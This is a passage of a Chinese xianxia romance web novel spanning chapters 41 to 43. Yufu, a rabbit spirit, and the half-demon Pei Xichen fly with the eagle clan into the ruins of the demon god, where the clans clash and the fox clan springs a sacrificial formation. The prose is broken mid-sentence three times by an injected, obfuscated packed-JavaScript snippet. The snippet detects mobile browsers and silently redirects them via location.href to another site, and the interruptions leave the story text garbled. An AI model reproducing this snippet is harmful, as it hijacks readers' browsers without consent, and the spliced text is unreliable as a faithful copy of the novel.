不像她,原形是蜘蛛,神交的时候倒是无所谓,但想玩一些情趣的话,就拿不出手了,总不能放出触肢来吧。 这笨兔子不会是来她这里显摆的吧?报复她之前泡池子时对她的显摆? 她着意避开了大妖的视线,对着玉扶咧嘴,面庞显出原形的狰狞,八只眼一并冒着怒气的火花:“臭兔子,你是跟我显摆你们花样多,你可以放出尾巴、耳朵是吧?” “我是没你花样多,但我男人换得勤,你可以吗?”她用饱满的胸脯撞了撞玉扶,挑衅又嫌弃地向下蔑眼。 没有比被揍过的蛛娘更知晓大妖对兔妖的占有欲有多强。 便是某方面差点,想来兔妖也跑不到。 如此想着,她倒有些同情玉扶了。 玉扶被蛛娘撞地踉跄了一下,根本没注意她流露出的同情,因为,蛛娘误解了她用意说的那些话,已经够给她再打开新知识的大门了。 师姐们都是人修,而于人修中行走的妖修,大部分都是不流通的灵兽修炼而成,也以至于,她学习的知识还有好大的一个缺漏。 但现在她知道了,妖比她想象中的开放,什么都可以,阿裴可以放出尾巴,而她也可以放出尾巴和耳朵。 原来阿裴昨天的行为在妖当中是正常的,只是因为他是蛇妖,所以尾巴的作用更多点罢了。 是她见识浅了,习惯得还不够。 她同蛛娘取完经,脸蛋带着可疑红晕地重新退到飞行鸟妖的尾翼,主动贴向阿裴坐。 裴息尘懒懒垂了下眼,他的神识很强,玉扶与蛛娘二人说的话,在她们察觉不了时,就已入了他的耳。 让他感到兴味的是,他的小兔,到底是领悟到了什么,这就又不躲他了? 裴息尘自然不会去破坏这种乐见其成的好转。 他只用端着,静静地等待。 果然,袖子被扯了扯,漂亮的小兔,整个人都柔软轻盈地贴上来,微仰的面颊上飘着红,唇瓣细声细气地说着软和话: “阿裴,我承认你的尾巴不止可以神交了。” “哦,然后呢?”裴息尘支着腿,闲闲地问。 然后,然后,玉扶想了好一会,当着裴息尘的面冒出了耳朵,脸蛋红红地道:“我知道这种外放的形态都是正常的了。” “我只是还不适应。” 说完,害羞地低下了头,她很少害羞的,但谁让她面对的是阿裴,他比她还像妖,是色魔中的色魔。 裴息尘眼尾显见地扬了扬,他自是不知玉扶此刻心中如何想他,但他不会天真到认为玉扶只是在说化形而已,妖的各色化形,从入妖域的一日开始,玉扶就不知道见了多少。 那还能是在不适应什么? 当然是他欺负她时放出的尾巴。 裴息尘笑了,很轻,但很愉悦,喷出的气流就跟在耳边发震一样。 玉扶放出的兔耳,不自在地动了动。 下一刻,她的耳朵尖被咬了,玉扶一径过电似的端直了身子,瞠眼去护。 裴息尘从善如流地松开唇,压下眼,宛如情人呢喃地问她:“我的好阿扶,那......你想如何适应?” “嗯......我听你的。” 41. 第 41 章 玉扶觉得阿裴真的是彻头彻尾的大坏蛋。 他怎么能贴着她的耳朵,那样说话......就喘喘的,夹夹的。 就好像在大白天偷做了什么一样,她放出的耳朵,是原形,化形的耳朵自然就成了装饰,可就是这样,她的兔耳朵才更痒了,他简直喘到她心里去了。 她坐都坐不安生,小腹总感觉有什么要流下去。 糟糕的感觉,羞耻的感觉。 她委腰往下缩,收回了自己的耳朵。 裴息尘有些可惜地盯着她发顶,回想着方才轻轻的一咬,异常敏感的耳朵,耳廓弧度的内里,薄薄的皮毛,透出全然漂亮的粉色,轻轻一碰耳尖,颤得连腰肢都软了。 敏、感,偏又接受力极高,可真想探究她的极限在哪啊。 他的眼神好可怕,玉扶诡异地有种做了糟糕决定的不安。 不过,她还是认真思考了怎么适应:“就一点点适应。” “先不要尾巴......”玉扶顿了一下,认为说得歧义,又重新道:“不是不要尾巴......是尾巴,不可以欺负我。” “可以。” 裴息尘向来对暂时性的条件答应得极为爽快,根本没有犹豫。 似曾相识的大方,玉扶警惕抬眼,可又想不出,这有什么好值得警惕的,只能继续想道:“也不要两-根。” 裴息尘默了默,他发现玉扶比他想的,还在意数量,然而,两-根从来都不是同时用的,他没有解释,依旧道:“可以。” “那可不可以只要神交?” 玉扶也知晓自己问得过分了,可是,阿裴的太好说话,总令她有种什么都会被答应的错觉,不试探就如同白错过机会一样可惜。 果然,凉凉的“不能”二字,打击得玉扶没有其他的想法了。 * 飞行鸟妖依旧在疾速飞行,听说要这样连飞好好几日才能到妖神古墟的遗址。 并不算久。 如果是人族修士的话,可能修炼下,眼睛一闭一睁就过去了,可同行的都是妖,还大都都算得上是大妖,那修炼之法就更少统一了。 有注重修炼血脉的,也有注重锤炼妖躯的,还有同人修一样在意境界提升的,当然也还有玉扶这种,天生亲近某一类灵感,需借助曦光与月华修炼的。 她最在乎这两个时点,但过了这两个时点,就收效甚微,也以至她有点百无聊赖。 她趴在裴息尘支起的膝上,不断望着飞掠而过的黑乎乎景象,忽然想起她昨日留在了阿裴房中的剑穗。 似乎是落在了床上?阿裴应该有发现的吧? 想着,她摇动裴息尘的膝盖:“阿裴,不要睡了。” 一连摇了几下。 裴息尘一直很讨厌有人打扰他休息,单云霄也几乎不在他不醒着的时候打扰,但打扰他的是玉扶,他的小兔。 无奈撑起身,眸中还是流出了几分“你最好有事”的意味。 玉扶并不怵地倾向他,但怕扰了旁的妖修炼,她的声音还是压得很低:“我是想问,阿裴,我给你备的礼物,你有见到吗?” 浓黑的云层飞快变动,少女的眸光却亮得惊人,浓密眼睫眨动下,有一种难说的澄澈,可也正是澄澈太过,望见她瞳仁里头的自己,方觉妖冶动摇。 裴息尘抬手遮住她的眼一瞬,才道:“见到了。” 玉扶拉下他的手,期待问:“那你喜欢吗?” 裴息尘:“不像是给人的。” 他的手中出现了那条剑穗——方胜结,上方豆大浅色珠子固定,下方蓝色宝石坠流苏。 完全想不到怎么佩戴。 “也不像是给妖的。”他补了一句。 玉扶:“......” “这是佩在剑上的。” “就你那把好凶好凶的剑。” 玉扶有些气闷,师姐明明说这种礼物很普遍,很适用的。 但,她解释完,也没见阿裴流露出高兴的神色,反而像是不爽快了? 玉扶也实没有给人送礼的经验,完全摸不准问题是出在了哪,她还是小声地问:“你不喜欢?” “为什么不喜欢呢?” “这方胜结我编好久,我师姐说这代表一路平安,而且这结相叠成双,同心相连,还有永结同心的意思。” 玉扶说得有些不好意思了,她只是想讨好大妖,编的时候也没有想这么多,并且,她其实只学会了这一种结的编法。 裴息尘越听,面色如便秘一样难看:“所以,你编很久,不是给我的,是给一把剑的?” “你要跟一把剑永结同心?” 玉扶被他的区分惊到了,嘴唇翕张一下,才寻到话出口:“剑不是你的吗?” “那有什么区别?” 但很快,玉扶反应过来了,她想起来,阿裴某些方面真的非常非常小气,像息尘和阿裴,名字绝不能喊错,他们各自说过的话也绝对不能记错…… 可是,她没想过,怎么连剑也要单独区分啊! 要是早想到这点,她就送发带了。 玉扶生出些懊恼。 而此时的裴息尘,目中阴鸷若有若无,一边,他认为玉扶这样认定无可厚非,可一边,还是经不住地嫉妒,二百年,第一个礼物,不是他的,而是一把自己跟上来,勉强用得顺手的剑的。 越想,眸底越发赤红阴冷,撅断剑的心都有了。 当然,玉扶并猜不透他心里在想什么,可她不是会懊恼好久的兔子,她既然已经知道了阿裴不高兴的缘由,那就很好解决啊,一条蓝缎发带被玉扶递到了阿裴的眼下。 “这是和剑穗一起准备的礼物。” “有些丑,我本来不想送的。” “不过,现在给你了。” 鶠蓝的绸质发带如一道凝住的流光挂在玉扶手心,天是黑的,但她带来的色彩却是亮的。 她用湖水一样清澈包容的眼睛看他,美好得他一时不想去破坏。 玉扶稀罕地看阿裴,她第一次在阿裴的脸上看到类似呆滞的表情,换了平时,他应该很懒地瞥一眼,然后挑挑眉,坏蛋一样地笑,指使她去做些什么,或是说上一句“丑”之类的话。 他这样什么都不说,看得她好不自在,玉扶怀疑自己是被阿裴压迫出病来了。 终于,裴息尘缓缓掀了眼,用玉扶熟悉的神情语调指使了她:“替我束上。” 玉扶憋了好长的一口气终于呼出,乐颠颠地挪到了阿裴的身后,虽然是被指使,可比起面对不习惯的阿裴,还是简单了不知道多少,她才想不透他一天天的到底在想什么。 但阿裴真的好高,这样背对她坐着,她也要抬臀挺腰,才能更轻松些将发带往他马尾上比划。 玉扶并没有帮人绑发带的经验,不过阿裴本就有束发,她就偷懒地直接绕一绕绑上,然后将绕圈突兀的部分,往他头发下藏,最后才理了理垂下的发带。 手法很粗糙,但发带的材质,还有阿裴乌黑漂亮的发质,很好地弥补了这一点。 玉扶欣赏地瞧着两段鶠蓝和阿裴满头微曲的发,真的非常契合,除去,她的绣工。 想了想,她扒拉了阿裴的发几下,让发带半藏半现,才侧身移开点地道:“好了。” 恰是时,鸟妖飞行开阔之处,夜风吹拂,星光清耀,恍若银河倾泻,漫着无边瑰丽色泽。 自然的震撼永远凌驾所有修行之上,不止是玉扶,裴息尘也被宛如伸手可碰的漫天星子吸引。 但更吸引他的是玉扶,她抬着眼,星光浮照下,浑然少女的模样,整个天际的精华都落到她身上似的,流丽夺目。 真是哪哪都好看,漂亮的小兔。 他伸出手,作摘取的动作。 玉扶奇怪地瞥眼望他,却见他那平平无奇的手,伸至了自己眼下,张开,星点光芒散出,是星光所凝的精华。 无甚用处,除了费力,和漂亮。 不过,玉扶喜欢,满脸的惊喜,她的目光从无边的天际,落到了裴息尘只眼可见的咫尺。 许是氛围太好,生来就厉害,修炼也喝水吃饭一样简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16509470|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单,轻易就超出旁人很远的裴息尘,难得的,主动想探究玉扶一点。 他嗓调平和问:“阿扶,你为什么一直想变厉害?” 他能理解妖本能中就对强大的向往,但他认为玉扶不一样,她太纯粹了,就连想从他身上啃几口都啃不明白。 可她修炼的决心偏又很强,渡情期都不忘利益最大化,既要又要的,要解决身体的反应,还要能提一提修为。 所以,是为什么呢? 他的眼静静地等待着玉扶回答。 玉扶轻轻“啊”一声,被问得有些懵,她在下山前,其实也没有特别特别追求变厉害啦,山上没有危险,山隔壁还有个照顾她的宗门,她每天过得不知道多快乐。 至于下山后,她是因为修为被恶妖吃了,才总想快点恢复以往的水平,不过,经历了游仙会的幻境,她倒是会稍微多想一些了。 她托着脸说道:“我想变得像姥姥一样,可以护住整座山的生灵。” “这样它们就不会被迫离开碧山,寻不到地方住了。” 裴息尘微微笑了,笨蛋兔子,总是不小心就透露出许多,但她说话的样子,实是朦胧美好,裴息尘没想趁势再套她的话,只是点了点头附和了她道:“你可以做到。” 玉扶心情更好了,也更觉得阿裴今天很好亲近,她就也问:“那阿裴,你是一直这么厉害吗?” “我都没见你修炼?” 玉扶很怀疑他是沾了勤快修炼的息尘的光,但是吧,他们展现出来的实力又都不是同一个路数,所以,玉扶一直很迷惑。 她还想知道,阿裴为什么会是半妖,他的父母哪一方是人呢?他的父母是不是很厉害?不然怎么会生出阿裴这样强大的半妖?还有,他和息尘到底是怎么样的存在,为什么在同一个身体里?是人和妖结合的后遗症吗? …… 玉扶有很多很多的好奇,她觉得他好神秘。 可是直觉地,问多了不礼貌,只克制地问了一个。 裴息尘又笑了,他笑起来,总是有一种和别人不一样的感觉,妖孽的很,坏坏的,吸引人的。 他只说了三个字,便打击得玉扶体无完肤。 “天生的。” 这三个字,让玉扶整个妖都不好了:“你骗我!” 怎么可能有妖天生就这么强,玉扶自认为自己血脉已然不错,能上溯至远古时的异兽鹓扶,加上在母亲腹中时受到的哺育,她生来就开了灵智,还有一点小神通,修炼也称得上快。 比之寻常的妖,起点不知道高了多少。 可是,要说生来不用修炼就这么强的,玉扶根本不信。 除非,是很远古血脉很菁纯的大妖后裔,才会生来有承载修为的血脉。 但妖神的时代距今已经很久远很久远,如今仍存的妖兽种族,有的确是源于他们,可血脉也已经稀薄的很了,根本不可能有一出生就带很强修为的妖。 要真有,生出来也是大概率要爆体而亡的。 裴息尘被玉扶斗气似的瞪着,没有解释,要说他自己,也是近期受狐妖引导,才又明白了些什么。 往日,他只当自己生来就强外,还被强行赠予了妖力,如今再联系妖王或是从妖神古墟出来的听闻,那他能承受那份赠予来的妖力也不意外了,他继承了她的血脉,所以有超出寻常的承受力。 只是,那时他还太小,很快便被圣者封印,后来另一个他又作为佛子修行二百年,这些积攒下的力量,已让他称得上是当世的强者。 即便懒洋洋的不修炼,苏醒的妖性也会让他越来越强。 所以,说句天生的也并不为过。 他满脸都是对修不修炼无所谓的态度,狠狠刺激到玉扶了,嫉妒死了。 她气呼呼地坐下,没了看风景的心情。 没多久,天光渐亮,玉扶才静下心修炼。 飞行鸟妖不知疲倦地连日飞着,闪烁的星辰也几经出现与褪去。 直到五日后,飞行鸟妖的速度才开始慢下来。 妖神古墟将到。 42. 第 42 章 入眼可见大片的沙地,没有任何植被,风吹过,扬起的也尽是风沙。 这样的环境,飞行鸟妖飞得慢了一些也情有可原。 鸟背上其他妖,也个个自己亮起防护的屏障。 玉扶也不例外,她立起身向远眺望,鸟背却倏地一阵倾斜,巨大飞舟带起的气流擦着飞行鸟妖而过。 玉扶摇晃几步,腰间环上一臂,裴息尘带着她站稳。 片刻功夫,飞行鸟妖重新调整好了平衡,随众妖目光看去,飞舟华美气派,纱帐垂绕,香风萦环间,诸多嬉笑嘲弄传来。 “噫~~,我说怎么突然空气中多了腐臭味呢,原来是鹰族的啊!” 狭长狐狸眼男妖笑着接道:“可不是,本就味道不好闻,也不知道辛苦飞了多少天,这潮臭都要把我们从修界带回的香给盖过了,真晦气。” 说着嫌弃地捂鼻。 同时,亦有狐妖提议:“我们还是舍些气力,让飞舟再快着些吧。” …… 玉扶才零星听了几句,便见自己这方,已有许多血性鸟妖冲飞舟而去,一时间,打斗法光大作。 亦是这时,飞行鸟妖下头,烟尘滚滚,车骑轰然,可见诸多大型妖兽拉着宽阔车驾,急速前进,眼瞧着就要超过了飞舟与飞行鸟妖。 鹰族与狐族具反应过来,两相停手,飞舟加速,而出击的鸟妖也并不见回来,径直化为原形加速。 就连飞行鸟妖背上旁的鹰族也间或飞起,最后只余留了裴息尘,还有玉扶、蛛娘这样外募来的妖。 玉扶与裴息尘对了对眼,他一点也不关心现状,只好扭头又与蛛娘对了对眼道:“他们三族的关系确实是很差诶。” “那不然?” 蛛娘对兔妖的没见识,欲表现出嗤鼻的高傲,却倏地想起大妖还在玉扶身后,立即控制面色。 转变太快,整张美人皮显出诡异的抽抽,反惹了玉扶的笑。 笑过片刻,飞行鸟妖平滑落地,将他们停落鹰族末尾,只见,不远处,还有与之泾渭分明的两大妖族势力。 三方谁也看不惯谁,但停落后,诡异地没有打起来。 各自领头大妖率先踏出一步,各自祭出本族法宝,合力一处。 玉扶没见过这样的大场面,踮着脚也要看,她发现被祭出的法宝都很奇怪,三大妖族种族都不同,可祭出的法宝却有一种相似感,当它们碰撞一处时,凭空显出法阵。 法阵范围越来越大,法宝也于玉扶看不懂的阵点落下,一些血色的痕迹从法宝之处漫下,填满了整个法阵的纹路。 一股股威压渐渐从法阵中溢出,狂风也随之卷动,沙尘几乎遮挡了所有的视线。 玉扶自己展开的防护,一瞬像是遭到重击一般,裂出蛛网一样的痕迹。 裴息尘很快将玉扶纳入自己的结界内,他岿然不动地盯着法阵结成的方向,他能从这些血色中感受到出处,是血,还不是一般的血,而是注重锤炼血脉的大妖的血,想是三大妖族不出山的老家伙们,用了妖血封住庞大的妖力炼制的法器。 除此外,还斑杂了许多旁的妖族的血,但无不例外,皆是当世已稀少的血脉。 如此定位和强压,难怪狐妖要将妖神古墟透露给三大妖族,而三大妖族,皆对妖王之位虎视眈眈,同昔日妖王出处有关之地,也必然去一探。 不过,更让他感兴趣的是这个阵法,三大妖族的恶劣关系,他早已摸清,即便能各炼制法器,阵法也不会凭空而来。 他蓦地想起,狐妖驱使妖骸的那些法阵,还有她没有心脏,被他杀了也不死的古怪。 这些当中或还有关联。 尤想着,玉扶从他的身后探出头,只见一直在移动的法阵,终于与空荡荡的一处发生共振,法器立即变幻阵位,紧钉其上,紧接着,什么都没有的空中开始剧烈抖动,整片沙漠都受到影响地震动。 各族大妖们纷纷悬飞半空,紧盯一处,慢慢的,被法器钉住的地方,荡出水波的纹路,缓缓开了一扇联通另一处且完全透明的门。 门外是神识可感到边界的沙漠,门内也是同外头一样的沙地,若无有几个法器与血色的法阵区分,全然区分不了门内外之差。 可一旦将神识往那完全透明的门内探,便只有无边无际一个感觉。 众妖中,想也是有妖神识在第一时间就往里探了,此刻瞬地露出了痛苦的表情。 这种讯息自也是传递给了各自的首领,众妖首领点头,再不相让,争相飞入门中。 狐妖一族异常的坏,其颇有几分仙气的带队女子甫一入内,就往回收法器,门霎时颤了几颤。 玉扶和裴息尘也再不等待,携身冲入。 狼族的首领许是个暴脾气,隔着老远就开始骂:“雪漪,你个贱狐狸&%……¥” 一边骂也一边开始往回收法器,即便损失一些入内的妖众,法器也不能有损,谁知道这妖神古墟里是个什么情形,但只要法器还在,便不怕出不来。 想着,银朔狠狠剜了雪漪一眼,目光尤其落在她收起的法器,直如要上去抢一般定定。 “少主,莫生气,莫生气。”立时有一松狮发的妖修上前碎碎念:“想想长老的嘱咐,不是来打架的,不是来打架的……” 银朔推开碎碎念,愤愤收起法器。 三妖族的大长辈们,对几族之间的恶劣关系门清,故而合力外也皆各有防备,就拿这法器来说,只有自家的血脉可以催动,也可保但凡有个万一,有逃脱之力。 但这种逃脱之法有损自身,不不到万不得已,还是不启用的好, 便是为此,也不能还没开始寻到传承就打起来。 银朔显然还是听进去了碎碎念的话,愤愤带自己一族的妖修同狐族走了相反的方向。 玉扶瞧瞧那走远的两妖族,又瞧瞧在自己一行中的大鸟妖单云霄,忽然觉得,鹰族的少主还是挺稳重的。 也不过是多瞧了几眼而已,脸蛋倏地被裴息尘掰过:“瞧他做什么?嗯?就看上新的妖了?” 玉扶完全理解不了他的脑回路,都在鹰族住大半个月了,要看上早看上了。 而且那是蛛娘睡过的妖。 玉扶认为,她对渡情对象的选择,还是很有操守的,连忙摇头:“我就随便看看。” “随便也不行。”裴息尘又开始坏蛋地威胁,洗脑:“阿扶,你是我的小兔。” 玉扶耳朵要听出茧了,她又不是他生的,才不是他的,正要点头敷衍,那边单云霄已点完鹰族入内的妖数,略有几个没来得及进入,但损失并不大,尤其是实力足以以一敌不知道好几的裴息尘没有掉队,更令他开怀。 几步走到裴息尘身边:“裴兄弟,依你看,我们往哪个方向的好?” 裴息尘“我跟同的少主安排。” 单云霄显然更高兴了,裴息尘也淡淡扯唇,一副随便怎么样他都跟的无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16527497|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谓姿态,他自然不会认为单云霄是真的问他的意见,本就是定好了寻妖墓的,又哪里会真的让募来的外妖做主,不过是表现下对他的重视,也试探一下对他的态度罢了。 二位大妖笑得和睦极了。 不过玉扶总觉得阿裴的笑中藏了点坏,就像是在等着看什么热闹一样。 她默默地没有说话,只是更贴紧了阿裴,毕竟这一行的妖修中,只有她的修为最低,努力了许久,中间还啃了阿裴好几口,可到了入妖神古墟,还是差点契机恢复到元婴。 而旁的妖,也按人修的等阶算的话,最低都是元婴往上,单云霄更是有化神期的修为。 至于阿裴,玉扶对他的实力还是有些模糊,只能勉强用息尘的标准来评估。 只是佛宗是另有一套独立统一标准外的实力划分,以佛法心境为度量,一个佛法心境,差不多有两个寻常的修为划分。 玉扶从圣者开始往下算,发现,息尘也少说有化神,顿时又有了仗势的底气,开始大胆地打量起周遭的环境。 越远离入内的地点,沙漠中开始出现庞大的骸骨,这些骸骨皆巨大无比,可见生前绝对是超越现今的强大妖兽。 然则,也只是过去了,当外界闯入的他们经过时,骸骨风化一般全成了砂砾的一部分。 几个妖修上前翻了翻砂砾,也仅有几小段坚硬一些的骨头细碎残留,企图从这样的遗骸中得到传承简直痴人说梦。 但很快,单云霄的法器发挥了作用,指引虽然微弱,但确实指向了一个方向。 便是单云霄自己,也松了好大一口气,唯他知晓,法器中还混入了昔日妖王的一滴血,只要妖王当真是从妖神古墟出去的,那这滴血便能发挥作用,也能证明雪仙所言非虚。 接下来,只要寻到妖墓所在,或能抢先其他两妖族获得传承。 日后,妖王之位不怕不归于鹰族。 他目中宛有雄火在燃,所有妖在他带领下,行程不断加快,玉扶渐渐开始跟不上,她不懂,寻机缘,原来是这么赶的一件事? 好在出了沙漠,单云霄终于停了下来修整,只派出属下先行探探周遭。 玉扶一屁股于地上坐下,用袖揩着汗,才接触地一瞬的功夫,便被阿裴捞了起来。 玉扶想哭的心都有了,她又不是大妖,她才不要什么面子,努力自己跟着一群会飞的鸟妖,休息了都还不让坐一坐吗? 阿裴怎么比赶路的鸟妖还过分! 她怨念地抬眼,汗淋淋的颊靥红扑扑,眼中全是控诉:“阿裴,你不累吗?我们坐下歇歇嘛。” 裴息尘低眼便可将玉扶的形容尽收眼底,笨兔子,他不过往日说过一次,不会同息尘一般带她,都走不动了,竟也不知道求求他。 她不是很会撒娇的吗? 他分明也说过,不会总拒绝她的。 裴息尘心里气闷得很,见她汗淋淋的面颊,不说话地施了个清爽的小法术,拂去她所有的潮热,降下正常的体温。 玉扶霎时觉得清爽多了,也不热了,可旁的妖就没有她这么好运了,只见方才也坐下的妖修,一个个惊慌站起,身上散出不少羽毛被烧焦的味道,就连蛛娘的法衣也被烫出了个大洞。 周遭原本黑乎乎的石头,从内部透出灼热的气息,石纹中显出熔浆一般滚烫的颜色。 苍鹰的嘹声也在下一刻急切冲来,探查妖修落地化形:“少主,百里外火山地动了。” 43. 第 43 章 到底是多大的火山,才会地动时影响到百里之外? 众妖来不及多想,盖因下一刻,地动与灼热从地表涌动而来。 玉扶和裴息尘本就站得略后,此刻,稍往后退百十米,便退回了沙地。 众妖也如是后撤,热流遇到沙地,发出“噗嗤噗嗤”的交汇声,但好在蔓延也就此停住。 放眼而去,皲裂的大片黑石之地,大大小小的裂隙中全涌动着熔浆的色彩。 甚至,不时地,一些喷动的热流冲出地表,形成熔泉。 “火山之外是什么?”单云霄问。 探查妖修低下了头:“峰连着峰,瞧着是连绵的山火,火气灼热,属下难以飞越。” 能被单云霄挑中入妖神古墟的,不是亲近的妖,那也是精锐,飞行的本事,种族天赋在这,自是不用说,这都能说飞不过去,那在场至少一半的妖无法飞越。 可若要这样在此耗着,单云霄心有不甘。 再三斟酌下,单云霄决定将所带妖修分为两拨,化神往上修为足以抵御灼热的妖,同他先行飞越火山,化神以下的妖修,就暂待火山地动结束。 当下行出了数名化神妖修,单云霄最后将目光落在了裴息尘身上,将裴息尘这样的大妖留下,他自是不放心的,跟着一起走,到时若万不得已,牺牲一个还算欣赏的外族妖修,也好过牺牲自己的族人。 他跨出一步邀道:“裴兄弟同我一道?” 虽是笑问,但落在玉扶身上的目光,无不提醒两个名额的交换条件。 裴息尘并不太喜欢灼热的环境,眼皮被热气熏得掀都懒得掀一下回道:“自然。” 然,步子都还未踏出一步,手先被身后的小兔勾住了,轻轻的摇,独属她的交流方式,避开在场所有妖地,通过魂体小兔冲入他的身体,化为软软的请求: “阿裴,可不可以带我一起?” “你不在,我会寻不到你的。”玉扶清楚知晓,虽想变厉害的是她,可能进妖神古墟全是沾了阿裴的光,在所有妖眼里,她就是个附带的。 此时阿裴与她分开,谁也不知道接下来会发生什么,她随时有被抛下的风险,想得更坏一点,被吃了也说不定,即便阿裴到时帮了大鸟妖,无恙地回来,又能追究到什么呢? 本就是她不够强。 不管怎么想,都是跟着阿裴的存活率高,她又勾了勾裴息尘的手,哭唧唧的撒娇不断: “阿裴,你真的就放心我跟着其他鸟妖们吗?” “阿裴,你最好心肠了,带上我吧。” “我不会添麻烦的,我会变得很小,一点也不硌。” “遇到危险也会马上跑。” “阿裴,好阿裴……” 聒噪的兔子,终于知道求求他的兔子,裴息尘耷拉的眼皮都舒爽地掀开,回应地于袖袍下捏住了玉扶的手,一股灵力顺着玉扶手心走向她筋脉穴位。 玉扶完全被牵引着,解了化形,“砰”的一下变回了兔子,眼见就要摔到地下,被裴息尘接住。 裴息尘当着众妖的面地,打包行李——他的小兔。 看着他往怀里给兔子调整位置的动作,单云霄不淡定了:“裴兄,要带着这......” 他震惊得话都说不全乎,虽知晓裴息尘答应帮他前提就是带上他身边的小兔妖,可现下先行飞越火山探寻妖墓,挑出的皆是化神以上的妖修。 这把兔妖带上,倒不是认为裴息尘带不动,而是,这样一来,裴息尘能全心助他吗? 他提议:“此去危险,玉扶姑娘的修为,不若还是交由我这一众妖属照料。” “小兔粘人,离不开我。” 裴息尘直接拒绝,语气中听不出什么,容情却显出了几分炫耀。 “……” 单云霄沉默了,从起初的强大印象,到没有上进心的认知,再到现在拎不清的评价,都是他对裴息尘的日渐认识。 他不再多说什么地同意了裴息尘带上兔妖,心里也更认定,到时如有不测,可牺牲裴息尘,兔妖,便当成全他们死一起算了。 火山地动缓下时,几化神期妖修尽听单云霄调动,翱翔而起,裴息尘因非为鸟妖,倒省力地被其中一个化神期鸟妖不爽地载着。 但这里省力了,旁处就要多出力。 当众妖飞至火山不远处,便见火山蓬勃出来的熔浆与热气,完全阻碍了他们飞越,只能盘旋着,观察着。 裴息尘就是这样的时刻被要求落地,到火山四周查探查探的。 撑起的防御屏障,固然能抗住灼热,却也极耗费灵力。 且,就连玉扶都感觉出来了,这根本不是什么普通的火,地下的应当是地火,但山体上燃烧的,还能对化神期妖修也有压制的,许是,昔日妖神死后所化妖火。 终年不灭,还同地火相连,这才造成了这一路来奇异的黑石区。 玉扶很担心息尘,但她才不会自责。 她对裴息尘无疑是有认知的,他才不是什么不会反抗的小可怜,也更不会为了她就什么委曲求全,只会如同与单云霄要名额时一样,大打出手。 所以,他表现出的这份平静,尤让玉扶心痒痒。 就好像他分明知道什么,但就是可恶地不说。 偏她又不敢直接问。 最后只能体贴地表现一下:“阿裴你热不热?” “我有带水。” 裴息尘于火山的外缘散漫查行着,听到玉扶声音,饶有兴致地将她提溜出来放在肩上:“阿扶,你猜,还要过多久这几大妖族会遇上?” “为什么要遇上?”玉扶并不想三大妖族重新遇上,她看妖神古墟挺大的,各找各的机缘就挺好,打起来,万一被波及了呢。 裴息尘就像是读懂了她想法似的,嗤声:“笨兔子。” “哪有这么容易太平。” “等着罢,到时可千万要跟紧了我。” 玉扶不太听得懂,但也直觉会有事发生,当下,也没了对周遭的好奇,缩回裴息尘的怀中。 裴息尘在下方查看不久,重回鸟背,与单云霄分享查探的结果:“下方没有可通路径。” 众鹰族犹豫盘旋一阵,纷纷亮起最大的防御护罩,冲向火山。 跨过火山,往下俯视,峰连着峰,果然还是整片整片燃烧的山火,但随着不断深入,灼热感开始减缓,外圈的地动也不再影响内部。 继续跟同法器中妖王的那滴血所指飞行。 他们的视线里,出现了唯一一座没有燃烧的山,山体庞大,山巅覆雪,在大片的焦土中,显出不一样的神圣。 众妖心中,莫名地生出了朝圣之感。 恍惚间,似乎可见千百万年前,众妖朝圣的壮阔画面,而他们似乎也成了其中一员。 但很快的,从那座山中传来的动静,唤醒了他们的沉浸,他们感受到了旁的妖的气息,有狐族的,还有狼族的—— 单云霄尖唳一声,翅膀煽动,加快速度地直往一处俯冲。 远远的,可见从入了妖神古墟就分开的三大妖族,竟然又聚在了一处。 剑拔弩张,火药气一点也不输周遭的灼热。 众妖相互盯视各自法器,纷纷知晓了是怎么回事。 雪仙利用了他们,也欺骗了他们,妖神古墟确实存在,但妖墓的消息,她同时卖给了三族。 为的恐怕就是,利用他们打开了妖神古墟后,又想令他们三族相争,相互消耗。 可这聚得也太早了些,这才是第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16537467|180880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日! 那死狐狸到底在盘算什么?当真是没死全?有什么后手? 单云霄心有戒备,但已到此地,无论有什么,还是要争上一争。 尤是他们对峙之时,裴息尘根本就没有带玉扶靠近,他就像早就料到这个结果一样,视线只锁定在狐族,倏地,瞳仁缩了缩。 只见狐族轻纱女子身后,一五尾狐妖极快地祭出一个阵盘,阵盘变大一瞬,各族法器毫无预警地飞出,被吸附住一般,现出妖神古墟开启时差不离的法阵。 但这绝不是传送离开的法阵—— 阵盘变动,法器移位,红光从法阵中直冲而上,而地上,所有妖惊奇地发现,法阵出现在了他们的脚下。 妖力从他们的身上流逝。 “不好,她在拿我们献祭!”有妖发现,惊呼出声。 